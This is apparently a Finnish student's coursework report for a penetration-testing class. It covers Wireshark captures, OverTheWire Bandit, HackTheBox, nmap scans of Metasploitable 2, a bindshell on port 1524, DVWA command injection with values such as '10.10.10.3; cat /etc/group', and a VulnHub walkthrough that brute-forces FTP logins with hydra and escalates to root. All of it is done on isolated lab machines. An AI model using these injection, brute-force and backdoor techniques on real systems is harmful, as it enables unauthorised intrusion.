Ylös
0. Alkutesti 1. Vuohi ja tappoketju 2. Turbo boosted 3. Attaaack! 4. Tiedustelua 5. Script kiddie 6. Final Countdown

Tunkeutumistestaus

Penetration Testing Course 2022 - Tunkeutumistestaus ict4tn027-3007 - 2022p4.
Haaga-Helia ammattikorkeakoulu
ICT4TN027-3007
Opettajana: Tero Karvinen.


H0, Alkutesti

Tehtävät:

Tehtävä 1
Sieppaa ja analysoi (omaa) verkkoliikennettä.


Harjoituksessa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2021.4a-amd64
- Ram: 4GB
- Cores: 2


Tehtävä 1, 28.4.2022

Sieppaa ja analysoi (omaa) verkkoliikennettä ja tee raportista weppisivu,
tai
Kirjoita ohjelma, joka kertoo tietoja kohdekoneesta ja tee tuolle ohjelmalle weppisivu


Wireshark

Sieppaan ja analysoin verkkoliikennettäni käyttämällä Wireshark ohjelmaa.
$ wireshark

Wiresharkista valitsen yhteyden eth0, jonka kautta menevää liikennettä haluan tässä siepata.
Avasin selaimen ja kävin parilla sivulla, jotta saan hieman liikennettä luotua. Lopetin pakettien keräämisen painamalla vasemmassa ylälaidassa olevaa punaista neliötä.

Analysointia:
No: Juokseva rivinumero
Time: Kuinka monta sekunttia on kulunut pakettien sieppaamisen aloittamisesta.
Source: Pakettien lähtöpaikka, esimerkiksi 10.0.3.15 on tämä kyseinen tietokone.

Destination: Pakettien määränpää, https://who.is/ kertoo että 216.58.209.163 on Googlen sivusto

Protocol: Pakettien käyttämä tietoliikenneprotokolla, DNS (Domain Name Service) yhdistämään verkkonimen (google.fi) oikeaan IP osoitteeseen. TCP (Transmission Control Protocol) koneiden väliseen yhteyteen.
Lenght: Paketin koko tavuina
Info: Tietoa sisällöstä, kuvassa näkyy 3way handshake tämän tietokoneen ja palvelimen välillä: SYN, SYN-ACK ja ACK paketit. Jolla muodostetaan yhteys koneiden välille.

Valitsemalla paketin jota haluamme tutkia lähemmin näemme myös hieman lisää tietoa, esimerkiksi lähtö ja määränpään porttinumeron. Täältä löytyy myös tietoa esimerkiksi käytetystä selaimesta ja käyttöjärjestelmästä.


H1, Vuohi, tappoketju ja pimeän verkon päiväkirjat

Tehtävät:

Tehtävä Z
Lue ja tiivistä:
- Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains Abstract sekä kappaleet 3.2 Intrusion Kill Chain ja 3.3 Courses of Action.
- Darknet Diaries podcast, vapaavalintainen jakso.

Tehtävä A
Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).

Tehtävä B
Asenna Kali Linux.

Tehtävä C
Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään

Tehtävä D
Ratkaise WebGoatista tehtävät:
General
- HTTP Basics
- Developer tools

Tehtävä E
Ratkaise 2021 Challenge.fi:stä yksi tehtävä.

Tehtävä F
TryHackMe tai HackTheBox. Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox

Tehtävä G
Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.


Harjoituksessa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2021.4a-amd64
- Ram: 4GB
- Cores: 2
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2


Tehtävä Z

Lue ja tiivistä. Tässä z-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistämiseen riittää muutama ranskalainen viiva.

Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains Abstract sekä kappaleet 3.2 Intrusion Kill Chain ja 3.3 Courses of Action.

Darknet Diaries podcast, vapaavalintainen jakso. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / kesäkunto kaupan päälle.


Hutchins et al 2011

Advanced Persistent Threat (ATP) - Pitkäaikainen tunkeutumiskampanja joka on kohdistettu valtioihin tai suuryrityksiin.
Cyber kill chain - 7kohtainen prosessi jonka avulla voidaan tarkastella hyökkäystä tai oman puolustuksen haavoittuvaisuutta. Onnistuminen vaatii ketjun jokaisen osan onnistumista, muuten ketju katkeaa ja haluttuun lopputulokseen ei päästä.
Reconnaissance
Weaponization
Delivery
Exploitation
Installation
Command and control
Actions on objective

DARKNET DIARIES: EP 6: THE BEIRUT BANK JOB

https://darknetdiaries.com/episode/6/
Tässä jaksossa Jayson kertoo fyysisestä tunkeutumistestauksesta pankkimaailmassa ja miten helppoa se on. Yksi tarinan käsittelee sitä, kun hän tunkeutui vahingossa väärään pankkiin maassa jossa vankilat eivät aina yllä länsimaiseen standardiin. Jakson sivuilla on myös useita kuvia siitä kun hän on sisällä pankin tiloissa, jotka kannattaa katsoa mikäli tarinan kuuntelee.
Youtubesta löytyy n.10 minuutin pätkä jossa hän kertoo samaisesta keikasta, noin. kohdasta 7:00 eteenpäin
Youtube: BREAKING in BAD (I'm the one who doesn't knock) - Jayson Street


Tehtävä A

Ratkaise Over The Wire: Bandit viisi ensimmäistä tasoa (0-4).


Bandit 0-4

Olen nämä aikaisemmalla kurssilla tehnyt, Data Security Exercise 1A, joten tein tilalle vapaaehtoisen tehtävän G: Bandit tasot 5-10


Tehtävä B

Asenna Kali Linux.


Kalin lataus ja asennus 30.3.2022

Latasin VirtualBoxiin menevän valmiin paketin kalin sivuilta, https://www.kali.org/get-kali/#kali-virtual-machines, ladattu paketti oli: kali-linux-2022.1-virtualbox-amd64.ova

VirtualBoxin puolelta valitsin 'File'->'Import Appliance'. File kohtaan etsin .ova tiedosto jonka juuri latasin. Next.

Seuraavalla sivulla vaihdoin hieman enemmän RAM-muistia koneelle, 6GB. Aikaisemmin olen käyttänyt 4GB joka on riittänyt, mutta halusin kokeilla onko lisärammista hyötyä. Muita muutoksia en tehnyt.

Valitsin 'Import'.

Nyt on Kali asennettuna, virtuaalikone käyntii start napista ja sisäänkirjautuminen, .ova tiedoston käyttäjä on 'kali' ja salasana 'kali'.

Näppäimistö ei ole oikein, vaihdan sen: 'Settings'->'Keyboard'->'Layout'. Täppä pois kohdasta 'Use system defaults' ja alalaidasta 'Add'. Etsin 'Finnish', lisään sen ja poistan 'English'.

Tarkastan että toimii, kyllä toimii.


Tehtävä C

Asenna WebGoat, luo paikallinen WebGoat-käyttäjä ja kirjaudu sisään


Webgoat

Asennettu aikaisemmalla kurssilla Data Security, Exercise 1C


Tehtävä D

Ratkaise WebGoatista tehtävät

General
- HTTP Basics
- Developer tools


HTTP Basics ja Developer tools

Tehty aikaisemmalla kurssilla data security exercise 1d
Tein tilalle Generalin alta 'CIA Triad' tehtävän.

CIA Triad

Confidentiality, Luottamuksellisuus - Tieto on ainoastaan niiden ihmisten luettavissa ja muokattavissa joilla on siihen oikeus.
Integrity, Eheys - Tieto on paikkaansa pitävää eikä sisällä virheitä.
Availability, Saatavuus - Tieto on saatavilla.


Tehtävä E

Ratkaise 2021 Challenge.fi:stä yksi tehtävä, esim. 2021 Where was this picture taken, Encoding basics.


Challenge.fi

2021 versio ei näytä onko vastaus oikein tai väärin, joten tein 2022 versioon tehtäviä.

Antagonist's artistic ancestor 30.3.2022

Never roll your own crypto? 30.3.2022


Tehtävä F

TryHackMe tai HackTheBox. Rekisteröidy, lue ja tallenna säännöt, avaa OpenVPN-yhteys, ratkaise yksi tehtävä (tai tehtävän alakohta) jommasta kummasta palvelusta: TryHackMe tai HackTheBox


OpenVPN HackTheBox. 30.3.2022

Sisäänkirjautumisen jälkeen painan oikeassa yläkulmassa olevaa "CONNECT TO HTB" valikkoa. Tässä tapauksessa yhdistetään 'Starting Point' koneeseen, joten valitsen sen.

Haluan yhdistää oman koneen, joten valitsen OpenVPN. Selainpohjainen Parrot Linux ei oman kokemuksen mukaan ole hyvä vaihtoehto, se on hieman hidas eikä ole "räätälöity" samalla tavalla kuin oma virtuaalikone.

Vaihtoehtoja ei paljon ole, mennään näillä ja "DOWNLOAD VPN". Tallennan tuon tarjotun tiedoston.

Avaan terminaalin ja etsin tuon tiedosto joka juuri latasin.

Käynnistän openvpn yhteyden.
$ sudo openvpn starting_point_338440.ovpn

Nyt olen yhteydessä HackTheBoxiin VPN kautta ja voin käyttää 'Starting Point' koneita. Huom! Muut koneet vaativat että alussa valitaan 'Starting Pointin' tilalle 'Machines' ja yhdistetään VPN sen .opvn tiedoston kautta.
HackTheBoxin sivuilta näen että olen 'ONLINE'.

Meow. 30.3.2022

'Starting Point' koneet löytyy 'Labs' valikon alta. Valitsen 'Starting Point'.

Kone pitää käynnistää "SPAWN MACHINE" napista, jos ett ole 'ONLINE' ei konettakaan voi käynnistää.

Käynnistyksessä voi hetki kestää, käynnistyksen jälkeen näen koneen IP osoitteen jonka voin pingata varmistaakseen että saan siihen yhteyden.

$ ping -c2 10.129.151.142

Tästä sitten aloittamaan tehtävien tekoa, jotka löytyvät sivua alaspäin mentäessä.

Meow

Kun kaikki tehtävät on suoritettu on kone valmis.

Meow


Tehtävä G

Vapaaehtoinen: Ratkaise OverTheWire: Bandit, tasot 5-10.


Bandit 5->6. 30.3.2022

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:

human-readable
1033 bytes in size
not executable


Käytän find komentoa ja lippua -size ja annan tiedoston koon.
$ find /home/bandit5/inhere/ -size 1033c

Bandit 6->7. 30.3.2022

The password for the next level is stored somewhere on the server and has all of the following properties:

owned by user bandit7
owned by group bandit6
33 bytes in size


Sama komento, enemmän lippuja.
$ find / -size 33c -group bandit6 -user bandit7

Bandit 7->8. 30.3.2022

The password for the next level is stored in the file data.txt next to the word millionth


Haen tiedostosta rivin jossa sana millionth
$ grep -A 0 millionth data.txt

Bandit 8->9. 30.3.2022

The password for the next level is stored in the file data.txt and is the only line of text that occurs only once


Uniq komennon man sivuilta pieni muistutus miten se toimii.
$ man uniq

Uniq vertaa vain vierekkäisiä rivejä, joten tiedot pitää ensin järjestää uusiksi.
$ sort data.txt | uniq -u

Bandit 9->10. 30.3.2022

The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several '=' characters.


Katsotaan miten string komento toimii.
$ man strings
Käytän myös greppiä, niin tulostus on hieman lyhempi ja tulostaa vain ne rivit jotka sisältää merkit ==.
$ strings data.txt | grep "=="


H2, Turbo boosted

Tehtävät:

Tehtävä Z
Lue ja tiivistä.
- OWASP 10 A03:2021 - Injection.

Tehtävä A
Ratkaise SQLZoo:sta:
- 0 SELECT basics
- 2 SELECT from World kohdat 1-4.

Tehtävä B
Ratkaise WebGoatista:
- A1 Injection (intro).

Tehtävä C
Asenna Metasploitable 2 samaan verkkoon Kalin kanssa. Katso, ettei haavoittuva Metasploitable 2 näy Internetiin.

Tehtävä D
Nauhoita kaikki konsolissa annetut asiat ja näkyvät tulosteet koko tehtävästä.

Tehtävä E
Ennenkuin aloitat skannaukset, kokeile, ettei Kali pääse nettiin 'ping 8.8.8.8' vastaa "Network is unreachable".

Tehtävä F
Etsi Metasploitable 2 verkkoskannauksella. Sitten ping sweep (nmap -sn). Analysoi tulokset, eli selitä, mitä mikäkin asia tulosteessa tarkoittaa. Mitä päättelet eri koneista?

Tehtävä G
Porttiskannaa 1000 tavallisinta porttia löydetyistä koneista. Selitä ja analysoi tulokset. Mikä koneista voisi olla Metasploitable 2?

Tehtävä H
Porttiskannaa Metasploitable 2 perusteellisesti. Selitä ja analysoi tulokset. Selitä kustakin avoimesta portista, mikä palvelu siinä on / mihin se on tarkoitettu, onko se tavallisesti näkyvissä Internetiin ja onko se nykyiaikainen. Voit myös arvioida, onko versio päivitetty.

Tehtävä I
Mitä löytyy portista 1524/tcp? Kokeile netcattilla 'nc'.

Tehtävä J
Etsi Metasploitable 2 weppipalvelin. Tee paikallinen tunnus DVWA Damn Vulnerable Web App -ohjelmaan. Aseta vasemman reunan palkista "DVWA Security" Low.

Tehtävä K
Ratkaise DVWA "Command Excution". ("DVWA Security" on paras olla "Low").

Tehtävä L
Asenna jokin kone Vulnhub:ista samaan Internetistä eristettyyn verkkoon Kalin kanssa.

Tehtävä M
Skannaa Vulnhubista hakemasi kone, ja analysoi tulokset.

Tehtävä O
Vapaaehtoinen: Murtaudu Vulnhubista lataamaasi kuvaan.

Tehtävä Q
Vapaaehtoinen: Jatka HackTheBoxin parissa.


Harjoituksissa käytetty välineistö:
Lenovo L580, 2018
- Prosessori: Intel Core i7-8550U
- Muisti: 16GB
- Käyttöjärjestelmä: Windows 10 Pro, 64bit, build 19044
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2


Tehtävä Z

Lue ja tiivistä. Tässä z-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistämiseen riittää muutama ranskalainen viiva.

OWASP 10 A03:2021 - Injection


OWASP 10 A03:2021 - Injection

Käyttäjän syöttämä tieto tulee aina tarkistaa tai filtteröidä, sitä ei tule ajaa suoraan tulkissa.
Tunnetuimman ovat SQL ja XSS.


Tehtävä A

SELECT * FROM student. Ratkaise SQLZoo:sta: 0 SELECT basics, 2 SELECT from World kohdat 1-4.


0 SELECT basics

Tehty aikaisemmalla kurssilla Data Security, Exercise 2A

2 SELECT from World

Tehty aikaisemmalla kurssilla Data Security, Exercise 2A


Tehtävä B

Ratkaise WebGoatista: A1 Injection (intro).


A1 Injection (intro)

Tehty aikaisemmalla kurssilla Data Security, Exercise 2B


Tehtävä C

Nyrkkeilysäkki. Asenna Metasploitable 2 samaan verkkoon Kalin kanssa. Katso, ettei haavoittuva Metasploitable 2 näy Internetiin.


Metasploitable 2

Tehty aikaisemmalla kurssilla Data Security, Exercise 4B. Käytän näissä tehtävissä samaa asennusta.


Tehtävä D

Nauhalle. Nauhoita kaikki konsolissa annetut asiat ja näkyvät tulosteet koko tehtävästä. (esim script)


Nauhalle

Lokit löytyvät linkkeinä tehtävien yhteydessä.
Edit: Tuloste on hieman sekavan näköinen, tällähetkellä ei siis ole tarjolla lokeja
M^[[0m^[[27m^[[24m^[[J^[[32m┌──(^[[1m^[[32m^[[34mkali㉿kali^[[0m^[[34m^[[32m)-[^[[1m^[[32m^[[39m~^[[0m^[[32m]
└─^[[1m^[[32m^[[34m$^[[0m^[[34m^[[39m ^[[K^[[?1h^[=^[[?2004h^[[32mftp^[[39m 10.10.10.6^[[14D^[[32mh^[[32my^[[32md^[[32mr^[[32ma^[[39m ^[[35m-^[[35ml^[[39m john ^[[35m-P^[>

Lokituloste


Tehtävä E

Ei kuulu! Ennenkuin aloitat skannaukset, kokeile, ettei Kali pääse nettiin 'ping 8.8.8.8' vastaa "Network is unreachable".


Kuuluuko?

8.8.8.8 on googlen DNS palvelin,
$ ping 8.8.8.8

no network

Ei kuulu.

On hyvä varmistaa toiselta koneelta että onko 8.8.8.8 ylipäätään saatavilla. On mahdollista että se ei vastaisi, mutta kone olisi kuitenkin julkisessa verkossa:

network


Tehtävä F

Piilosilla. Etsi Metasploitable 2 verkkoskannauksella. Tarkista ensin, että osoitteet ovat uskottavia (ipcalc 10.0.0.1/23). Sitten ping sweep (nmap -sn). Analysoi tulokset, eli selitä, mitä mikäkin asia tulosteessa tarkoittaa. Mitä päättelet eri koneista?


Mitä verkosta löytyy

$ nmap -sn 10.10.10.0/24
-sn - ei skannaa portteja.

no network

Löytyi kolme laitetta:
10.10.10.3 - Tuntematon
10.10.10.5 - Tämä kone
10.10.10.6 - Tuntematon

Tästä listauksesta en pystyisi sanomaan mikä laite 10.10.10.3 on.


Tehtävä G

Kilo. Porttiskannaa 1000 tavallisinta porttia löydetyistä koneista. Selitä ja analysoi tulokset. Mikä koneista voisi olla Metasploitable 2?


Skannausta

$ nmap 10.10.10.3

nmap 10.10.10.3

$ nmap 10.10.10.6

nmap 10.10.10.6

Avonaisten porttien määrän perusteella sanoisin että 10.10.10.3 on metasploitable2 ja 10.10.10.6 on VulnHubista ladattu Lunchbreaker, jossa on auki hieman normaalimpi kattaus portteja.


Tehtävä H

Ja tiskiallas. Porttiskannaa Metasploitable 2 perusteellisesti. Selitä ja analysoi tulokset. Selitä kustakin avoimesta portista, mikä palvelu siinä on / mihin se on tarkoitettu, onko se tavallisesti näkyvissä Internetiin ja onko se nykyiaikainen. Voit myös arvioida, onko versio päivitetty.


Nmap Metasploitable

Tehty aikaisemmalla kurssilla Data Security, Exercise 4E. Tuo listaus on mielestäni hyvä enkä näe tarvetta tehdä siitä vielä pidempää.


Tehtävä I

Ovi jäi auki. Mitä löytyy portista 1524/tcp? Kokeile netcattilla 'nc'.


1524/tcp

Katsotaan mitä tuon portin takaa löytyy:
$ sudo nmap -sV -p 1524 10.10.10.3
-sV - Version tunnistus.
-p - Vain tietty portti.

Vastaus:
1524/tcp open bindshell Metasploitable root shell

nmap 1542

Kyseessä ilmeisesti jonkun laittama backdoor, tähän saadaan netcatilla yhteys.
Katsotaan miten netcat toimii.
$ man netcat
Peruskäyttö on hyvin helppoa:
In the simplest usage, "nc host port" creates a TCP connection to the given port on the given target host.

$ nc 10.10.10.3 1524
Sehän kävi helposti.

nc connected


Tehtävä J

Darn Low Security. Etsi Metasploitable 2 weppipalvelin. Tee paikallinen tunnus DVWA Damn Vulnerable Web App -ohjelmaan. Aseta vasemman reunan palkista "DVWA Security" Low.


Damn Vulnerable Web App

Metasploitablen etusivu löytyy tietenkin metasploitablen IP osoitteesta, ja valikosta voidaan valita DVWA.
Kirjautumistunnukset löytyvän sivun alalaidasta, username'admin' ja password 'password', käytän näitä.

DVWA etusivu

Vasemman valikosta valitsen DVWA Security ja vaihdan sen asetukselle 'LOW'

dvwa security


Tehtävä K

Execute! Ratkaise DVWA "Command Excution". ("DVWA Security" on paras olla "Low"


Command Excution

Aloitin tehtävän lukemalla tarjotut linkit ja tekstit. 'View Source' napin alta saamme nähdä PHP ohjelman koodin.

PHP sourcecode

Tässä harjoituksessa kenttä ei validoi syötettyä tekstiä, vaan ajaa siihen syötetyt komennot suoraan terminaalissa $cmd = shell_exec( 'ping ' . $target ); ja tulostaa vastauksen.
Toiminta on seuraavanlainen, annetan IP ja painetaan 'submit'.

pelkkä ip

Omia komentoja voidaan lisätä annetun IP osoitteen jälkeen käytämällä ; merkkiä, kysytäänpäs millä käyttäjällä olen sisällä, '10.10.10.3; whoami'. Ilmeisesti 'www-data'.

ip lisämerkkejä

Voin vaikka nähdä minne ryhmin käyttäjät kuuluvat, '10.10.10.3; cat /etc/group'

ryhmät


Tehtävä L

Vapaaehtoinen: Asenna jokin kone Vulnhub:ista samaan Internetistä eristettyyn verkkoon Kalin kanssa.


FUNBOX: LUNCHBREAKER

Valitsin koneeksi FUNBOX: LUNCHBREAKER, kone on "for beginners" ja pitäisi olla helposti murrettavissa. Lisäsin .ova tiedoston VirtualBoxiin samalla tavalla kuin kalin asennustehtävässä, jätin kaikki asetukset oletusasetuksiin.
Liitin koneen samaan 'SecNet1' internal network:iin jossa on myös metasploitable2 ja Kali.

secnet1


Tehtävä M

Vapaaehtoinen: Skannaa Vulnhubista hakemasi kone, ja analysoi tulokset.


Nmap 10.10.10.6

$ sudo nmap -A -p- 10.10.10.6
Portteja on auki kolme.
Portissa 21 on ftp versiolla vsftpd 3.0.3, tämä sallii anonyymin kirjautumisen ja näemmekin suoraan että jotain tiedostoja on julkisesti jaossa.
Portissa 22 on SSH.
Portissa 80 löytyy Apache vesiolla 2.4.41, jolla on nettisivu esillä.
Käyttöjärjestelmänä jonkinlainen Linux.

vulnscan


Tehtävä O

Vapaaehtoinen: Murtaudu Vulnhubista lataamaasi kuvaan.


Lunchbox

Nmap

Aloitan pingaamalla koneen, varmistan että se on paikalla.
$ ping 10.10.10.6
PING 10.10.10.6 (10.10.10.6) 56(84) bytes of data.
64 bytes from 10.10.10.6: icmp_seq=1 ttl=64 time=0.985 ms
64 bytes from 10.10.10.6: icmp_seq=2 ttl=64 time=0.795 ms

Sitten porttiskannaus.
$ sudo nmap -A 10.10.10.6
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 633 May 22 2021 supers3cr3t
|_drwxr-xr-x 6 1006 1006 4096 May 22 2021 wordpress
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

Portteja on auki kolme.
Portissa 21 on ftp versiolla vsftpd 3.0.3, tämä sallii anonyymin kirjautumisen ja näemmekin suoraan että jotain tiedostoja on julkisesti jaossa.
Portissa 22 on SSH.
Portissa 80 löytyy Apache vesiolla 2.4.41, jolla on nettisivu esillä.
Käyttöjärjestelmänä jonkinlainen Linux.

supers3cr3t

FTP mahdollistaa kirjautumisen anonyymina ja se sisältääkin jo jotain mielenkiintoista, supers3cr3t nimisen tiedoston.
$ ftp 10.10.10.6
Käyttäjänimeksi anonymous ja salasana tyhjäksi.
Tiedoston lataus.
ftp> get supers3cr3t

Katsotaan mitä tuo tiedosto sisältää.

Eipä mitään kiinnostavaa tälle hetkelle, jatkan eteenpäin.

FTP vsftpd 3.0.3

Tarkastan onko tuohon FTP versioon haavoittuvaisuuksia metasploitin avulla.
$ msfconsole
msf6 > search vsftpd 3.0.3
Ei löytynyt.

HTTP

Koneella on Apache portissa 80, eli nettisivut pitäsi löytyä. Katsotaan.
Sivu sisälsi vain kuvan, mutta html koodissa oli mahdollinen käyttäjätunnus, jane.

Käyn dirb ohjelmalla sivuston läpi, ehkä siellä on vielä jotain piilotettuna.
dirb http://10.10.10.6

dirb ei löytänyt mitään mielenkiintoista.

Jane

Tässä vaiheessa minulla on yksi käyttäjätunnus, mutta ei salasanaa tai muuta reittiä jota edetä. Joten yritän murtaa janen salasana hydralla, lista 'coll14' on jonkunlainen rockyou muunnelma joka minulla on ladattuna.
$ hydra -l jane -P /usr/share/wordlist/coll14.txt 10.10.10.6 ftp
Löytyi salasana:
[21][ftp] host: 10.10.10.6 login: jane password: password

Käyn katsomassa mitä Janella on:
$ ftp 10.10.10.6

Löytyy keys.txt niminen tiedosto backups kansiossa. Lataan sen GET komennolla. Eipä näytä tähän hätään kiinnostavalta.

Tutkin mihin kaikkialle Jane pääsee menemällä taaksepäin tiedostorakenteessa. Täältä löytyy muiden käyttäjien kansioita, johon emmme tietenkään sisälle pääse, mutta nimet talten:
jim, john, jules

Jim

Laitoin hydran pyörimään ja salasana löytyi käyttäjälle jim.
$ hydra -l jim -P /usr/share/wordlist/coll14.txt 10.10.10.6 ftp
[21][ftp] host: 10.10.10.6 login: jim password: 12345
Kirjauub sisään Jimin FTP:lle.
.ssh kansiosta löytyi public key, en näe sille nyt hyötyä. Muuta kiinnostaavaa ei löydy.

John

Annoin hydran pyöriä n.15minuuttia ilman tulosta, en usko että tässä on tarkoitus löytää salasanaa tälle käyttäjälle tätä kautta.

Jules

Hydra löysi salasanan käyttäjälle jules.
[21][ftp] host: 10.10.10.6 login: jules password: sexylady
Sisään taas FTP:n kautta, Julesilta löytyi .backups kansiosta mielenkiintoisia tiedostoja. .bad-passwds and good-passwds, ladataan kummatkin get komennolla. Kaksi muuta tiedostoa on tyhjiä.

John - toistamiseen

John on ainoa käyttäjä jonne en ole sisään päässyt, toivottavasti jompi kumpi Julesilta ladatuista salasanalistoista toimii, hydralla taas liikenteeseen.
$ hydra -l john -P .good-passwd 10.10.10.6 ftp
Ei tulosta.
$ hydra -l john -P .bad-passwd 10.10.10.6 ftp
Tulos!
[21][ftp] host: 10.10.10.6 login: john password: zhnmju!!!

Kirjauduin sisään ja kävin läpi kaikki tiedostot. .todo-list tiedostosta löytyy vinkki, "Chance R00TPASSWD, because it's the same right now.".

Onko salasana siis sama kuin johnilla (zhnmju!!!), R00TPASSWD, root tai ROOT? Kokeillaan jos se löytyisi.

ROOT

Päätin kirjautua sisään johnin käyttäjälle SSH:n kautta ja kokeilla ROOT oikeuksia sitä kautta, SSH kirjautuminen kun voi olla ROOT:ilta estetty, joten sen kokeileminen voi tuottaa väärää virhettä.
$ ssh john@10.10.10.6
$ su
Annoin ensiksi salasanaksi 'root', ei toiminut, sen jälkeen kokeilin Johnin salasanaa, 'zhnmju!!!' ja se toimi.

Siitä sitten tutkimaan mitä /root in alta löytyy, näissä ymmärtääkseni on joku "lippu" löydettävänä, sielähän se on heti näkyvissä, root.flag


Tehtävä Q

Vapaaehtoinen: Jatka HackTheBoxin parissa.


Starting Point

Jatkoin starting point koneiden parissa samalla kun odotin läksyjen julkaisua.

Fawn - FTP

fawnpwned

Dancing - Samba

dancingpwned

Appointment - SQL injection

appointmentpwned


H3, Attaaack!

Tehtävät:

Tehtävä x
Lue/katso/kuuntele ja tiivistä.
- € Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting

OWASP 10 2017:
- A2 Broken Authentication
- A3 Sensitive Data Exposure
- A7 Cross Site Scripting.

- MITRE 2021: ATT&CK Enterprise Matrix.

Tehtävä A
Ratkaise WebGoatista tehtävät:

A2 Broken authentication:
- Authentication bypasses: 2 2FA Password Reset

A3 Sensitive data exposure
- Insecure Login: 2 Let's try

A7 Cross Site Scripting (XSS): Cross site scripting
- 2 What is XSS?
- 7 Try It! Reflected XSS

A8:2013 Request Forgeries:
- Cross-Site Request Forgeries
- 3 "Basic Get CSRF Exercise"
- 4 "Post a review on someone else's behalf".


Harjoituksissa käytetty välineistö:
Asus ROG Zephyrus G14
- Prosessori: AMD Ryzen 9 5900HS
- Muisti: 32GB
- Käyttöjärjestelmä: Windows 10 Pro, 21H1, 64bit, build 19043.1645
Oracle VM VirtualBox, version 6.1.32
kali-linux-2022.1-virtualbox-amd64
- Ram: 6GB
- Cores: 2


Tehtävä X

Lue/katso/kuuntele ja tiivistä. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.

€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting (7 videota, noin 25 min)

OWASP 10 2017 (pdf) (pdf) A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. (Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään)

MITRE 2021: ATT&CK Enterprise Matrix . (Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique).


A2 Broken Authentication

Jos kirjautumisyritysten määrää ei ole rajoitettu, voi hyökkääjä ajaa salasanalistoja läpi ja arvata tuhansia käyttäjänimi/salasana pareja minuutissa, kunnes saa pääsyn järjestelmään. Esimerkiksi oletus käyttäjänimet ja salasanat tulisi aina vaihtaa kaikista laitteista.

A3 Sensitive Data Exposure

Jos tiedonsiirto ei ole salattua (esim https->http) voi hyökkääjä kuunella sitä ja tallentaa sen itselleen ja käyttää sitä myöhemmin hyväkseen. Esimerkiksi käyttäjätunnukset ja salasanat tai tärkeitä tiedostoja.

A7 Cross Site Scripting

Sivustolle voidaan syöttää koodia joka lähettää käyttäjän tekemät asiat suoraan hyökkääjälle.

MITRE 2021: ATT&CK Enterprise Matrix.

Tactic
Miksi hyökkäys tehdään.

Technique
Miten hyökkäys tehdään.

Subtechnique
Tarkempi tapa miten hyökkäys tehdään.

Procedure
Miten tekniikoita ja alatekniikoita käytetään

Reconnaissance - Search Open Websites/Domains
Tietojen kerääminen avointen lähteiden avulla, esimerkiksi yrityksen kotisivuilta tai työntekijöiden sosiaalisten profiilien kautta.

Resource Development - Establish Accounts
Jos esimerkiksi Facebook-tilillä on historiaa, ystäviä ja muita tietoja, hyväksyt kaveripyynnön todennäköisemmin.

Initial Access - Exploit Public-Facing Application
Etsi heikkouksia järjestelmistä joita voisit käyttää hyökkäyksessä, esim. web-sivuilta.

Execution - Exploitation for Client Execution
Ohjelmistojen heikkouksien hyödyntäminen, vanhat versiot jne...

Persistence - Browser Extensions
Selaimeen ladattavilla haitallisilla laajennuksilla voidaan nähdä kaikki mitä selaimessa tehdään.

Privilege Escalation - Valid Accounts
Olemassa olevien tilien käyttö pääsyn saamiseksi järjestelmään

Defense Evasion - Impair Defenses
Hyökkääjä voi estää tai poistaa käytöstä palomuureja, virustorjuntaa ja ohjelmia jotka tallentavat lokitiedostoja muutoksista järjestelmässä

Credential Access - Brute Force
Brute force hyökkäys käyttää ohjelmia jotka voivat arvata salasanoja niin kauan kunnes oikean löytyy.

Discovery - Account Discovery
Muiden käyttäjätunnusten etsiminen järjestelmän sisältä.

Lateral Movement - Remote Services
Sivittaisliike järjestelmän sisällä päästääkseen laitteeseen jonka kautta voi edetä kohti lopullista kohdetta

Collection - Automated Collection
Automaattisten työkalujen käyttäminen tietojen keräämiseen tiedostotyypin, sijainnin tai nimen perusteella.

Command and Control - Remote Access Software
Etäkäyttöohjelmiston käyttö. Näitä ohjelmia käytetään usein, eikä niiden käyttö herätä huomiota.

Exfiltration - Exfiltration Over Web Service
Datan siirto ulos järjestelmästä käyttäen esimerkiksi google driveä

Impact - Data Encrypted for Impact
Tiedostot voi salata ja avaamisesta pyytää rahaa


Tehtävä A

Vuohen uudet seikkailut. Ratkaise WebGoatista tehtävät

A2 Broken authentication:
Authentication bypasses: 2 2FA Password Reset

